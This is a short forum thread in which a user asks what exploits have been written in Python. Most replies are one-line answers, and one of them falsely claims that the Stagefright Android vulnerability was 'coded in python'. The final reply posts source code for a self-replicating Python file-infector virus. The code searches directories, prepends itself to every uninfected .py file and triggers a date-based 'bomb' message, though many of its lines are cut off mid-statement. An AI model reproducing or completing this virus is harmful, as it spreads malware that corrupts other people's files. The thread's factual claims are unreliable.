+ 1
I've heard this language is used to write computer exploits? I was curious of what famous exploits have been written in python. Or just what type of exploits?
5 Respuestas
0
I doubt that you are posting it in a wrong place... Go find some Python forums out there...
0
php injection
0
stagefright the biggest vulnerability ever exposed for android with a MMS you can run a artibatary code take cntrol of the whole phone
stagefright coded in python
0
buffer overflows
0
<code>#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/
filestoinfect.extend(
elif fname[-3:] == ".py"
infected = False
for line in open(path
if SIGNATURE in l
infected = Tr
break
if infected == False:
filestoinfect.app
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath
virusstring = ""
for i,line in enumerate(viru
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + te
f.close()
def bomb():
if datetime.datetime.now().mo
print "HAHA YOU ARE AFFE
filestoinfect = search(os.path.ab
infect(filestoinfect)
bomb()</code>